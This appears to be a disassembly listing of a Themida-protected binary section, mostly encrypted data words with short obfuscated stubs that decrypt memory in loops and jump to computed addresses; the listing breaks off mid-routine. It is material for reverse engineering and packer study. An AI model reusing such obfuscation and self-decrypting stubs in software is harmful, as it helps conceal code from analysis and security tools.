; ---------------------------------------------------------------------------
		db 8Ah
		dd 0BAFF933Ch, 0EFA2C36Ch, 759DDC5Bh, 0A20D99D4h, 0D679CD80h
		dd 8ABFFB6h, 0E9E2C65h,	126EAADCh, 1654B605h, 155CFF29h
		dd 276E0EF1h, 9477A1FAh, 0A2E6204Eh, 60AF57D7h,	0B1E913B7h
		dd 93AF57D6h, 8EAF70B8h, 0B9DC47C3h, 77850711h,	4FF9D3A5h
		dd 0AF581A4Bh, 4C251E39h, 561F3EE7h, 7E3B58C9h,	48E94231h
		dd 0DF6B2241h, 6D99D074h, 97CBE7EBh, 1D40AB29h,	573D7B54h
		dd 0E58948ECh, 0B96AB7A0h, 0CD36D499h, 0E484E5A0h, 811700ADh
		dd 0AAE38122h, 50F89C05h, 0E36BFCEBh, 1499721Bh, 0F180219Eh
		dd 703CE5CEh, 0D278B0CAh, 0E14AAF58h, 0D44E8B7h, 0F37716B9h
		dd 58D25149h, 0B5F517AFh, 8FAF58D1h, 0DD0922A4h, 58D26FABh
		dd 1FA55AFh, 0EE18469Ch, 0AF58D1AAh, 0EF79BF98h, 0AF58D1A8h
		dd 1E1C8512h, 12DF2D22h, 5B236BEDh, 0E1E85253h,	4085B7h
		dd 0FF9E0000h, 4E88155Ch, 0AF57D748h, 7E7C25B2h, 12DFD682h
		dd 965h, 0F3947F00h, 625B1236h,	52FFED36h, 74198A17h, 1F33EC31h
		dd 8D7ED55Ah, 35701D24h, 662F4EF1h, 0BFD93A20h,	0B8F595F6h
		dd 5EFF2B70h, 78158E13h, 22FF03Dh, 2549DA47h, 420BC360h
		dd 9A61307Eh, 3BE4D1F0h, 638955BCh, 5852E1D9h, 0EAA3C2AFh
		dd 0B9925445h, 52BFFB0Dh, 0AA85AF58h, 50C950Eh,	7BFD2964h
		dd 7286111h, 9D87B04Ah,	0D2388216h, 0DDE09D98h,	2A8E67EFh
		dd 2AFE685h, 0B25A92E4h, 0CC032D18h, 64A5C36Ch,	8218EC3h
		dd 452E921Fh, 0C712DEDCh, 793512DFh, 0E000000h,	8E135EFFh
		dd 0F53A7315h, 0D9460B2Ch, 0C26F2A48h, 0D7A6E224h, 0B39CAF57h
		dd 0EE6D36BDh, 0B55DE4Fh, 0D85F5BEDh, 0A25AF57h, 2D6001AEh
		dd 95153699h, 57D83773h, 49220DAFh, 0D510329Dh,	0A300F9B4h
		dd 322B6202h, 0F69C05E6h, 218A6EB3h, 8BBA3C80h,	0CABCB98h
		dd 0AE4AEE4Ah, 0A912DFDEh, 50h,	135EFF72h, 3E77158Eh, 4BD4DFF1h
		dd 0D86E2344h, 0F8BDD132h, 0ED3662BBh, 0FC9F52FFh, 9757DCB5h
		dd 0AF57D790h, 0FB387113h, 0DF44092Ah, 0D6C1F903h, 0A883AF57h
		dd 94238C29h, 2E43ACDAh, 3D5DC66Bh, 0BA118770h,	0D60DF9F9h
		dd 1E812DFh, 33000000h,	0B5A930BAh, 38474385h, 123DAF58h
		dd 156986D8h, 0D47C1C83h, 82C44E6Ah, 0AF589F86h, 191BD37Ch
		dd 0F72EB819h, 1C266798h, 0CE57DCB5h, 0B6B9E6AFh, 0EB8D941Dh
		dd 71A364A2h, 54F61CCAh, 0AF58D154h, 4993052Eh,	0DD9C3Fh
		dd 60CD66B6h, 51D59CBFh, 0DBE74FEEh, 0FFDE9B20h, 0DF1F847Dh
		dd 0B600EDD9h, 2E913F25h, 7CBC460Fh, 27B600EEh,	91BA4C05h
		dd 0FC03AC07h, 298A1059h, 3CA7430Ah, 0DDCE5316h, 9172E85Bh
		dd 2677BCF1h, 470E2DF2h, 35FE57DAh, 0C0460F2Eh,	76C17854h
		dd 1209F14h, 7E610000h,	1A0197DEh, 0D80EB5E7h, 723AEh
		dd 0E936E1B6h, 0CE5C1538h, 228FC665h, 6ABE281h,	82892A83h
		dd 0DA7C67E3h, 0E9110A97h, 0B60006B1h, 450C3093h, 8737736Ch
		dd 1477E6ABh, 3872h, 0B6E7D500h, 4DADDF0Bh, 372F57D7h
		dd 5357971Ch, 452F57D7h, 5910349Fh, 0FE55C3D4h,	3A853635h
		dd 8E38668Ch, 2F57D78Ah, 8F59DF78h, 0AF57D76Bh,	27A8FE59h
		dd 0AAh, 0EB5E702h, 0EE14B2D8h,	57D75C5Ch, 0C50D26AFh
		dd 0AF57D6C5h, 33761CBFh, 7508DE5Ah, 4FB6000Ah,	0BDDDC6E4h
		dd 3E7AB3F0h, 0D16B914Dh, 0B60009D9h, 872880ABh, 0B619ADE4h
		dd 8951DE97h, 0B6000B8Ch, 2B32F3F8h, 0E1A4C908h, 0AB09B208h
		dd 264CEA10h, 0B4A4EF8h, 1F38B600h, 0AB3F7h, 72A691B6h
		dd 0AD469BF4h, 0C1624DBCh, 0C1E22C8Ch, 0DB7AEBA2h, 0AB74B992h
		dd 9D5CC188h, 0DC706F30h, 0D3254367h, 7E79D9F9h, 8BAC1D6Dh
		dd 0E84059C6h, 5ABC011Eh, 0FB9E7C3h, 0C35ABC0Bh, 34DA5EF9h
		dd 0BC74B4D6h, 6D4EC35Ah, 0B5AE87CEh, 0B5E74A71h, 8B2D80Eh
		dd 0AF57D710h, 15DF59F2h, 5129EF3h, 66CB64B6h, 814A7EF8h
		dd 2FBA9008h, 4E072689h, 0F10A5E98h, 6520F548h,	60539C23h
		dd 9206FF47h, 42E1C228h, 0B1AAEF83h, 5454F66Ch,	2EB605A6h
		dd 238C2C05h, 7EE44900h, 0A672B6D0h, 0E750B605h, 0E11EB7B1h
		dd 0C6B7CF21h, 7E37565Dh, 0A0982248h, 62CF21E1h, 0AFEB1DC9h
		dd 95CF21E0h, 6E947EBAh, 7B85FBECh, 3D7BD8DCh, 6C9AD372h
		dd 158484C6h, 0D57ECF22h, 133FE043h, 0AD06C956h, 175EFD04h
		dd 440D3093h, 1466DFh, 0B0410000h, 0B86AEC0Ah, 7A59A6AEh
		dd 72DADEF8h, 8FA8AF58h, 58FF0229h, 70138C11h, 92BF439h
		dd 2042E340h, 3E5FC06Dh, 0D4752E73h, 0E78B1499h, 84A47DA2h
		dd 92BF60CDh, 50FA4AD7h, 4055854h, 83000000h, 48704E8h
		dd 6A685C24h, 8900001Bh, 0F568243Ch, 8900000Bh,	6853241Ch
		dd 6F5335E5h, 83241C8Bh, 0C38104C4h, 1086279Fh,	18DC381h
		dd 0D3F72BF8h, 9B0EC381h, 0DF89B27Eh, 2FED685Bh, 24890000h
		dd 24048124h, 4, 4EC835Bh, 89242C89h, 86B89FDh,	241C8B5Dh
		dd 81E18951h, 4C1h, 4C18100h, 87000000h, 0FF5C240Ch, 835F2434h
		dd 53E904C4h, 38FFFB3Ch, 41D8AA91h
; ---------------------------------------------------------------------------


loc_59DB80:				; CODE XREF: Themida_:0059D604j
		mov	eax, 6AD40EEh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 91h,	0EEh, 96h
		dd 34A0EC62h, 0EA532E72h, 8A5F5C15h, 0B918D562h, 0E3B02861h
		dd 0A97FCE79h, 0D1608369h, 0B26C8E28h, 0E76F4C7Ch, 3162FF19h
		dd 7D2AFC69h, 68973A0Ah, 6257F06Ch, 73525B7Bh, 12C3A921h
		dd 9558CC60h, 97AFB21Ch, 0DD5E5108h, 0FE57DB1Fh, 82E30948h
		dd 0C0BA0E47h, 0C67C46Ah, 2090C76h, 0D3578A74h,	23168106h
		dd 33322E47h, 0AA9C9F5Ch, 0AD33853Eh, 8BA20A39h, 1AE6F131h
		dd 0BE8D8D12h, 6A06AD42h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 9486C356h, 1E04038Bh
		dd 0FA9B7C3h, 0FE9C3B7h, 18000000h, 97BC2317h, 0B18B3204h
		dd 76039DCFh, 8D8946D6h, 6A805B9h, 6860Fh, 0B5010000h
		dd 6A83229h, 146985C7h,	746C06A8h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0BDF347C3h
		dd 9F59AD0Ch, 3554D281h, 85C70F51h, 6A80BBDh, 0
; ---------------------------------------------------------------------------
		pusha
		movzx	edi, cx
		jns	loc_59DCA4
		mov	esi, [ebp+6A80D39h]


loc_59DCA4:				; CODE XREF: Themida_:0059DC98j
		popa
		mov	ax, bx
		push	dword ptr [ebp+6A82A11h]
		mov	bx, 90D2h
		call	dword ptr [ebp+6A820DDh]
		mov	[ebp+6A810F1h],	edx
		js	$+6
		push	0
		call	dword ptr [ebp+6A81B31h]
		mov	eax, eax
		jmp	short loc_59DCDD
; ---------------------------------------------------------------------------
		dd 0C7C1FDB7h, 0EFD7BEBEh, 0A43D4D77h
		db 0E6h
; ---------------------------------------------------------------------------


loc_59DCDD:				; CODE XREF: Themida_:0059DCCEj
		call	near ptr sub_59DCF1
		push	esp
		inc	esp
		mov	al, 0DAh
		dec	esi
		scasb
		cmp	eax, 0EE194587h
		lodsd
		adc	ebp, [eax]
		in	al, dx

; =============== S U B	R O U T	I N E =======================================



sub_59DCF1	proc far		; CODE XREF: Themida_:loc_59DCDDp
		mov	[ebp+6A819DDh],	esi
		pop	esi
		or	dx, 7C12h
		add	esi, 5B35h
		adc	dh, 47h
		mov	edi, 0
		or	[ebp+6A814C9h],	edx


loc_59DD11:				; CODE XREF: sub_59DCF1+99j
		mov	eax, [esi+edi]
		movzx	edx, si
		add	eax, 3E89B8B4h
		mov	ebx, ecx
		add	eax, 34C175A0h
		sub	ebx, [ebp+6A8215Dh]
		add	eax, 72676D74h
		mov	ch, bh
		mov	[esi+edi], eax
		mov	dl, 5Bh
		mov	dx, si
		sub	edi, 1A1A6685h
		cld
		add	edi, 1A1A6681h
		jmp	loc_59DD61
; ---------------------------------------------------------------------------
		align 2
		dw 669Bh
		dd 0C4EE3E64h, 0FBA2216Ch, 2B75C4BDh, 0CF3CFCA9h
		db 7Eh
; ---------------------------------------------------------------------------


loc_59DD61:				; CODE XREF: sub_59DCF1+57j
		cmp	edi, 0FFFFA580h
		jnz	loc_59DD87
		mov	edx, 2C2AF22Ch
		jmp	loc_59DD9B
; ---------------------------------------------------------------------------
		db 0CEh
		dd 6FC4BF4Ch, 0BDAF8C0Dh, 0D978BF10h
		db 2Eh,	27h, 43h
; ---------------------------------------------------------------------------


loc_59DD87:				; CODE XREF: sub_59DCF1+76j
		adc	bl, 0A2h
		jmp	loc_59DD11
; ---------------------------------------------------------------------------
		db 0E3h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		test	eax, 0ACF28DCh
		mov	bl, 19h
		fdivr	qword ptr [eax-34h]


loc_59DD9B:				; CODE XREF: sub_59DCF1+81j
		jmp	loc_59DDA7
; ---------------------------------------------------------------------------
		dd 6D6E87EDh
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_59DDA7:				; CODE XREF: sub_59DCF1:loc_59DD9Bj
		jmp	loc_59E2D2
; ---------------------------------------------------------------------------
		dd 2A703960h, 65A1E489h, 53D79EBAh, 830742F0h, 0F4327F20h
		dd 0A7C84A6Fh, 53F35CEAh, 527881Eh, 3655FE4Ch, 0A9B32B7Fh
		dd 51A1B1Fh, 84A3E9B6h,	88155CFFh, 54F67617h, 0AF57D754h
		dd 0FE2C052Eh, 0FE3A7315h, 0C188AB14h, 0E9A0C35Ch, 0F3B6DB44h
		dd 0FF57F5AEh, 189E9BE0h, 61CEA7BEh, 4ED39EC0h,	0BEFDB8D5h
		dd 0EE1864CDh, 0AF582EAAh, 57C6BF98h, 41082C97h, 0ACB37CD7h
		dd 0D97AC089h, 94D97ABBh, 0E1251E0Fh, 0CA571E3Eh, 0FB93959h
		dd 0AF582F0Bh, 41ED5EF9h, 1D862B04h, 36EF3471h,	13D65B12h
		dd 577AF9BAh, 0CD84A40Fh, 0AE13760h, 682A2A9h, 582EC4C4h
		dd 0BC95BEAFh, 0C803CC0Eh, 61454A73h, 2E9F88CDh, 6ED44401h
		dd 42EFA6C5h, 58A87DB8h, 47E8CFAFh, 0DF075F4Bh,	2D9612h
		dd 2447D845h, 0FED7C06Dh, 6198BAh, 0FFA30000h, 6AAED85Ch
		dd 39AF57D7h, 0B893531Ah, 5E8462CFh, 57D6EC2Ch,	159CD6AFh
		dd 606345EDh, 499F19F2h, 0AF588D4Fh, 2A0D4FBDh,	738F28EAh
		dd 8456F5CFh, 27B1984Ah, 99991AF1h, 12DFB3ADh, 148h, 52FFD300h
		dd 74198A17h, 1F33EC31h, 8D7ED55Ah, 35701D24h, 0EE2F4EF1h
		dd 819A074Eh, 0FF3512A8h, 0CF7135Eh, 0C48DAB66h, 0F4554E5Fh
		dd 83941950h, 40EDB615h, 6B079805h, 5E49812Eh, 84301C5Bh
		dd 773E5ECFh, 941D962Ah, 9011BA05h, 61A5E889h, 49D69FBEh
		dd 0CDF9B0D8h, 0A4094CE2h, 0E2462573h, 0BAF79778h, 1FF42475h
		dd 1AACCA96h, 0AF58691Eh, 7ACE985h, 3D7BD416h, 0DF467D79h
		dd 9A9812h, 81620000h, 4E0725E0h, 59DFC8E1h, 3459BA52h
		dd 0D7782771h, 0EC8C159Ah, 0FF9E01A5h, 0F83069B6h, 7233A80Bh
		dd 0A41FAC2Eh, 0DAD23B5Fh, 0FDB0D15Eh, 3D6043A9h, 0BAFE2F74h
		dd 941954F5h, 89300C4Eh, 0D1D2422Eh, 0FFBAD847h, 1F1BADCBh
		dd 0EDAF581Bh, 0C1DAAA9Ch, 0A58E50C0h, 5B309073h, 821CD8DAh
		dd 4C3B12DFh, 0CD000000h, 4550158Bh, 4EEA784Bh,	135EFF65h
		dd 0AA670CF7h, 4A63C085h, 0BB64C751h, 0AFEB1D99h, 95AF57D6h
		dd 2C5CC1BAh, 0B6D7DE47h, 5B8DCFFBh, 0B67F1B18h, 0B309A1Eh
		dd 8A1752FFh, 57D74540h, 7F20B7AFh, 0DFD68773h,	16612h
		dd 0FFB90000h, 12931059h, 0D89DB273h, 4DE142EFh, 58FAAB08h
		dd 0AC098815h, 604D7403h, 0D990B8BFh, 0E15AFA4Dh, 0E42883C5h
		dd 311AB5FFh, 591033ECh, 47C362CDh, 0FFE40505h,	0F354FFB5h
		dd 99921F52h, 0BDFB03A0h, 9B5FFE3h, 5BFA01A2h, 82B9412h
		dd 183AA541h, 59DFC855h, 531A39EAh, 7F3655CEh, 9DD07132h
		dd 7B249110h, 773895FCh, 0E0A5CA35h, 61CE6A43h,	9F3F8BC2h
		dd 1477DBA3h, 1264Ah, 30BADD00h, 89B846BAh, 0BA14C999h
		dd 66CC2BA3h, 0DA7ACD6Bh, 0C0034561h, 82B600B6h, 0E54A0321h
		dd 0AD2FDBB4h, 714F390Fh, 0FD9F0063h, 5B8764B4h, 1E9AD778h
		dd 6FBBF291h, 4BE8A1C4h, 0ADF2BBDAh, 0D9E041EAh, 7B7F3BAh
		dd 1477652Bh, 5FF2h, 30BA5500h,	46AF97AFh, 0D274D57Ah
		dd 2D8E199Fh, 0B6D27492h, 8C2F5872h, 0F99C07A3h, 438B78B0h
		dd 2F587347h, 29763B5Ch, 159AD778h, 13812299h, 231BB35Bh
		dd 7DD9B269h, 0ED4E5DC6h, 0F612B452h, 0E8AF5883h, 8B2D6407h
		dd 8FC66245h, 8A100922h, 8484C66Ch, 7EAF5884h, 78FC43D5h
		dd 0DF000000h, 0D80EB5E7h, 7A3351B2h, 0A55283Eh, 42FB600h
		dd 2E67069Fh, 3F7A17F8h, 957FB9F2h, 0DD420B2Ah,	0B181Dh
		dd 0A60F64B6h, 1B3DFC9Fh, 0E3DCCD52h, 83B0E4A7h, 17B3ACE5h
		dd 0AD4E44F5h, 88153EBCh, 0F03D7417h, 0DF440D2Fh, 4DC1F903h
		dd 0A883BCADh, 0D15E1B37h, 0EC6B34BFh, 65278825h, 2E58D87Ah
		dd 0BCAD4DEAh, 19867FD8h, 0BD1FA800h, 0F1A6E006h, 0D3C35A91h
		dd 0E7052278h, 0AED80EB5h, 0B6051AF9h, 0A47E8CBh, 70138C11h
		dd 944B8D39h, 252EC2FFh, 3EE16BCDh, 1C9561Fh, 21C996D8h
		dd 9CA30CF9h, 8C6AB0F9h, 4FEE0F4Ah, 0C7512DC2h,	377C3558h
		dd 1885C06Eh, 6933FCD9h, 7ACE986h, 0CB868BF7h, 0FF8EE59h
		dd 0F1C181F7h, 1976908h, 70B6FF9Eh, 0C1E5ACCFh,	8429619Bh
		dd 0B81B21C9h, 5851DE9Bh, 0E95AC96Fh, 0Ch, 0C00AB0CCh
		dd 495D321Dh, 5B40E81Ch, 8C1158FFh, 0F4397013h,	0E340092Bh
		dd 0C06D2042h, 2E733E5Fh, 1499D475h, 7DA2E78Bh,	60CD84A4h
		dd 4AD792BFh, 66E968FAh, 4890000h, 0E1895124h, 4C181h
		dd 0E9810000h, 4, 5C240C87h, 68240C89h,	68CDh, 53243C89h
		dd 0A00314BBh, 31F3815Ah, 0C10EA36Eh, 434306E3h, 0EB81E3D1h
		dd 0FB094EE5h, 1C8BD989h, 4C48324h, 243C8B54h, 4C481h
		dd 0BA520000h, 8, 0A89FA01h, 8324148Bh,	34FF04C4h, 0C4815F24h
		dd 4, 592434FFh, 0E904C483h, 0FFFB3506h, 3599186Ch, 0E276E705h
		db 0F1h, 0E9h
; ---------------------------------------------------------------------------


loc_59E2D2:				; CODE XREF: sub_59DCF1:loc_59DDA7j
		mov	eax, 6AD4844h
		add	eax, ebp
		jmp	eax
sub_59DCF1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0E1h
		dd 0FA5C38DBh, 0A92E01C6h, 8D34AC4Eh, 0C71E5019h, 0FA30D107h
		dd 5F1C1ED4h, 98782CB8h, 4451F26Eh, 34300345h, 0DA66F6B1h
		dd 0BA3D9C8Fh, 9C23FC3Dh, 0C83D36BBh, 8D0FFC45h, 0F04C821Ch
		dd 341D1230h, 0E612923Dh, 0FD476BB3h, 7A795AD6h, 0EE20506Ah
		dd 4853E689h, 6C4C420Bh, 651EAA7Dh, 0AD3BAD98h,	987BAEE5h
		dd 0E22F6BB8h, 0B30676E3h, 0DE5C352Ch, 0D4D4712Ah, 1DC4B46h
		dd 0D4C8557Fh, 6398525Ch, 0A9A90B33h, 0F1982633h, 0EF5E265Ah
		dd 333033E6h, 0FFB44E60h, 0F867A5E4h, 0A03029A6h, 3AE9A3BEh
		dd 79672098h, 0C12DA3BAh, 0D71B209Bh, 33302652h, 831D2933h
		dd 0C0982633h, 0BD168B6h, 0D6157635h, 0AF356F73h, 610DD963h
		dd 839E8E26h, 35982664h, 1F152359h, 4B356F63h, 0E61DAB63h
		dd 39E8B7Ah, 0B351B3CCh, 1493209Bh, 6AA1A23Ch, 0B0152633h
		dd 9C356F63h, 4DAACE63h, 0F6D82633h, 1ACEA3BEh,	24C8209Eh
		dd 79D176B6h, 0FF677635h, 33300406h, 1794E2B0h,	0E0D176B6h
		dd 23157635h, 55356F73h, 1C0DD963h, 3D9E8E26h, 6A982651h
		dd 6474AD66h, 11CE7464h, 8DAB2E4Eh, 0A69824DAh,	0D3DF6633h
		dd 2C97260Ch, 2B67D9C6h, 1713EF00h, 35B2CF3Bh, 48AB2633h
		dd 0A71831B9h, 0E868AD03h, 5AAD63h, 0A9982C88h,	0D49BCF33h
		dd 896F2633h, 3566A57Dh, 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh
		dd 0D697E638h, 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch, 88152637h
		dd 9C356F0Dh, 7EBABBEh,	9320209Eh, 78000000h, 271E7FCh
		dd 0C8D00731h, 4904C783h, 0FFF2850Fh, 0B58DFFFFh, 6AD4A73h
		dd 4A928D8Dh, 0CF2B06ADh, 8B05E983h, 0BCDDC2C8h, 0BCB4B962h
		dd 0E797A831h, 0E03E0FF2h, 0F8362E15h, 0BCAC1115h, 0EFF48A31h
		dd 40A107F2h, 0B2590A52h, 6C085ED2h, 7C3C1084h,	0BD1A83B1h
		dd 14866384h, 650A9637h, 0BCB1222Fh, 1344C44h, 0BA1F8FD8h
		dd 0ECAE2531h, 4772362h, 0BCB75032h, 0BB02AFB8h, 213A1399h
		dd 0BA1D2B9Dh, 0E4EC96CEh, 915E1FB2h, 0C8B75799h, 4E4F826h
		dd 0BCB75032h, 0BB02AFB8h, 213A1399h, 0BA1D14AAh, 0E4EC96CEh
		dd 0A52A27B8h, 0BCDD5799h, 0BCB44067h, 0E2975431h, 0C83E74F2h
		dd 0F8361115h, 0BCAE8E15h, 0EAF14531h, 2CCDF5F2h, 0BD90B114h
		dd 14BD75B4h, 0DC77DF37h, 0B506AF30h, 0ECD61399h, 0DAEC40BAh
		dd 0BB89DBDh, 0B3B30AE6h, 0BCB327B5h, 0ECB7C231h, 0BCB757D9h
		dd 7FEF0A31h, 98F39C69h, 98F30B35h, 0BCB75F35h,	7FE7E231h
		dd 2E465FAh, 55577123h,	0BCB75434h, 100EAF1Dh, 990A969Eh
		dd 0BCB12226h, 0BCE0C13Eh, 0BCDDA231h, 0BCB4B967h, 0E297A831h
		dd 0C83E0AF2h, 0F8362E15h, 0BCA31115h, 0EAF18A31h, 3DB8D2F2h
		dd 0BCB7A234h, 21219D8Eh, 0B8A64136h, 0BCDD5431h, 0BCB4C264h
		dd 0E1971531h, 0D03ED7F2h, 0F8364115h, 0BCA0A615h, 0E9F25131h
		dd 0B1178BF2h, 0BD0A7796h, 35B18205h, 14BE04A4h, 9BB73437h
		dd 0BCDD4731h, 0BCB44A60h, 0E5975131h, 0F03EF1F2h, 0F8365015h
		dd 0BCA32E15h, 0EDF61531h, 313CFEF2h, 0BA1F5FE0h, 0B75A1FBAh
		dd 393A5799h, 0BA1C2A82h, 3958D557h, 0BCB9C3FBh, 0CD731531h
		dd 0FE75A778h, 0C9A1E832h, 0BC7B75E4h, 7C3281CEh, 0BC552C3Eh
		dd 7D15431h, 84360992h,	47367366h, 0BC8F0F3Eh, 0BCDD4531h
		dd 0BCB44A67h, 0E2975131h, 0C83EF6F2h, 0F8365015h, 0BCA02E15h
		dd 0EAF11531h, 0F0D356F2h, 0CE0C237Ch, 453CC4E5h, 0B8CFD057h
		dd 38B8AA33h, 0BCB75749h, 9AEABFB8h, 3DD11399h,	0B3D71609h
		dd 0BCB7CAB4h, 0D200C231h, 0F974EE57h, 0BECF2850h, 0C1325BD9h
		dd 0D6B72A31h, 0BF5F4431h, 9CB78A31h, 35EE8668h, 3DB3867Dh
		dd 0A8B37575h, 0FDB7A831h, 0B79A9760h, 14BB17ACh, 0C4367337h
		dd 0B31C8A37h, 0BCB70AB4h, 0ECB7C831h, 0BCB752D9h, 7FEF8831h
		dd 98F3DD69h, 98F3AB35h, 0BCB70235h, 7FE7CA31h,	74C4D77Ah
		dd 0BC8E3F18h, 663C5799h, 0BCB553D8h, 0EBB73E31h, 0BCB729D9h
		dd 7FE83531h, 98CB036Eh, 98F3C435h, 0BCB7BA35h,	7FE01631h
		dd 6F905678h, 74005B61h, 0BDB62A8Fh, 0EAB77F77h, 0BCB789D9h
		dd 7FE96531h, 98C32B6Fh, 98F3D035h, 0BCB7B235h,	7FE11231h
		dd 31251FA5h, 31320173h, 173539B4h, 0EBB72F37h,	0BCB7A1D9h
		dd 7FE87131h, 98CB216Eh, 98F3D535h, 0BCB73D35h,	7FE05231h
		dd 0FA8FFDC5h, 31BE95CEh, 0BA1FADB4h, 7030FE8Bh, 0B3772D0Eh
		dd 0BCB51AB5h, 0EEB74031h, 0BCB716D9h, 7FEDAA31h, 98E3CC6Bh
		dd 98F32335h, 0BCB74635h, 7FE5EA31h, 0DFCE3EA1h, 91020351h
		dd 0B3B1BD31h, 0EBD67186h, 0D73BC58Bh, 8436FB7Dh, 0BEB56C57h
		dd 0BC832D3Eh, 37D15431h, 0BACFABFFh, 0C6E82857h, 0BE9D0E3Eh
		dd 0BCDD4531h, 0BCB44A62h, 0E7975131h, 0E03EF3F2h, 0F8365015h
		dd 0BCAB2E15h, 0EFF41531h, 221E87F2h, 4023540Dh, 3DD1CCC8h
		dd 0B3D7CD09h, 0BCB7F3B4h, 393A7D31h, 3CB1821Ah, 0B35F1749h
		dd 0BCB7C1B4h, 0BA334A31h, 37B7A231h, 14A134A4h, 0C436CE37h
		dd 0B3775437h, 0BCB719B4h, 0BC3D1A31h, 55B78A31h, 0BCB744F9h
		dd 54E7A25Bh, 0BCB75132h, 0E474F011h, 0B89310B8h, 0B8936EB0h
		dd 0BCB71525h, 9F74DA71h, 8D2EC8B8h, 33B8A499h,	0BCB75131h
		dd 0BDB6A88Fh, 0EFB73E4Fh, 0BCB729D9h, 7FEC3531h, 98EB036Ah
		dd 98F3C435h, 0BCB7BA35h, 7FE41231h, 0A3B6776Ah, 250ADF50h
		dd 31B18236h, 1735A6B4h, 436F0137h, 0BCB8ACE1h,	4E08A231h
		dd 1B79158Bh, 0F8EF4861h, 0AEC7A945h, 7C32D6BAh, 0BD92913Eh
		dd 0BCDD8A31h, 0BCB4AD64h, 0E197A231h, 0D03E0CF2h, 0F836AC15h
		dd 0BCAA5015h, 0E9F22A31h, 7CEE31F2h, 30B156EEh, 49BEECAFh
		dd 0B35F9AB1h, 0BCB720B4h, 0BCBB4131h, 0DFCB5431h, 0A061B619h
		dd 0F74BAB24h, 0C437DA12h, 39B83634h, 0BCB7A267h, 54E6515Bh
		dd 0BCB7A832h, 0E5740D11h, 0B89366B8h, 0B89351B0h, 0BCB78A25h
		dd 96741470h, 0BE7E37BAh, 0C4375799h, 38B8FB36h, 0BCB754E9h
		dd 54E72A5Bh, 0BCB71532h, 0E474D211h, 0B89301B8h, 0B893E6B0h
		dd 0BCB75127h, 1B74F871h, 313C4E3Fh, 0BA1F35D0h, 0AAE6A8B8h
		dd 3DD18C99h, 0B3B2CA09h, 0BCB7D8B4h, 319C3131h, 0BA1FB6E0h
		dd 0BACFD450h, 0D4322559h, 0D6B71531h, 0BF5FDD31h, 9CB74531h
		dd 35E8616Eh, 3DB3754Dh, 0ABB38C75h, 0FBB75431h, 8976E966h
		dd 0B55E890Ch, 1B78A31h, 0B5D11366h, 0F79B2C12h, 0B7CFD057h
		dd 39B88DCEh, 0BCB7541Eh, 0ED5EFEBBh, 0D6B71531h, 0BF5FDD31h
		dd 9CB74531h, 35E8616Eh, 3DB3754Dh, 0A6B38C75h,	0FBB75431h
		dd 0DBC3E966h, 48329CEFh, 7D2A03DEh, 97B1ED02h,	779018F1h
		dd 945E589Ah, 55B7A831h, 0BCB75422h, 0ACA385FCh, 0DDB87EFDh
		dd 0FCF9DE35h, 0E3018099h, 7F031D5h, 0DD4B20B8h, 0BCB7A989h
		dd 212A7D31h, 0ECB18228h, 6D14761h, 8DB82398h, 0DD70CE51h
		dd 0B83EFA6Bh, 6C3C3715h, 0F62315BCh, 313A529Ch, 0BA1A7A06h
		dd 0DAE23689h, 0A9328946h, 97B1ED24h, 0B6A88FFEh, 0B73E4FBDh
		dd 0B729D9EFh, 0EC3531BCh, 0EB036A7Fh, 0F3C43598h, 0B7BA3598h
		dd 0F305E983h, 816658A4h, 1112DC7h, 0A8299195h,	0FC00B06h
		dd 8D84h, 0AFB58D00h, 0E906A84Fh, 0Bh, 0CBA7FF3Dh, 20220DFDh
		dd 8978B580h, 0A807718Dh, 3B806h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0AB6E4DC3h
		dd 0C9D30E9Eh, 0AE9h, 500FF400h, 8D1147D8h, 8045DFBFh
		dd 0E6FFE3EAh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 0A1C35040h, 34E7A33Ah, 2A06D25Fh, 68F0Fh
		dd 0BD890000h, 6A81DD1h, 0BE5BF781h, 6A4052D5h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0C535C353h, 17BFC08Bh, 83195BA1h, 0A81ED9BDh, 9750006h
		dd 2DE9BD83h, 740006A8h, 8B535019h, 403B8C0h, 85890000h
		dd 6A80FD5h, 0A2139D8Dh, 0D3FF06AAh, 0BD83585Bh, 6A82DE9h
		dd 50177400h, 403B853h,	85890000h, 6A80FD5h, 9EB49D8Dh
		dd 0D3FF06AAh, 8D29585Bh, 6A81665h, 0FE9h, 3B8A6E00h, 664787CFh
		dd 3EDA0068h, 282C2584h, 2B69BD09h, 0C08B06A8h,	2719529h
		dd 8D8B06A8h, 6A82BD5h,	7E861h,	5C160000h, 1A05167Dh, 0E7C0803Bh
		dd 0BF0F605Eh, 1B501D0h, 6106A835h, 6905C681h, 10E90000h
		dd 5D000000h, 4538CC6Fh, 77062954h, 1012BF2Ah, 0B911D81Ah
		dd 0
; ---------------------------------------------------------------------------
		mov	edx, [ebp+6A81D89h]


loc_59EBE2:				; CODE XREF: Themida_:0059EC75j
		mov	ebx, [esi+ecx]
		push	edx
		jmp	loc_59EBFE
; ---------------------------------------------------------------------------
		db 73h
		dd 9B0D4CA4h, 0CDCA8B7Dh, 68BBA603h, 0BE820E1Fh
; ---------------------------------------------------------------------------
		mov	bl, 8Dh


loc_59EBFE:				; CODE XREF: Themida_:0059EBE6j
		pop	eax
		xor	ebx, 64168588h
		mov	[ebp+6A80DB1h],	esi
		xor	ebx, 60954392h
		jmp	loc_59EC25
; ---------------------------------------------------------------------------
		dw 8519h
		dd 0A880FDC4h, 0DEF8FC05h, 0E7183AD4h
		db 0D3h
; ---------------------------------------------------------------------------


loc_59EC25:				; CODE XREF: Themida_:0059EC11j
		sub	ebx, 293BCD62h
		mov	ax, 7196h
		push	ebx
		mov	dl, cl
		pop	dword ptr [esi+ecx]
		mov	edi, [ebp+6A82811h]
		movsx	edi, si
		sub	ecx, 4
		mov	[ebp+6A83139h],	ebx
		cmp	ecx, 0FFFF97D4h
		jnz	loc_59EC6F
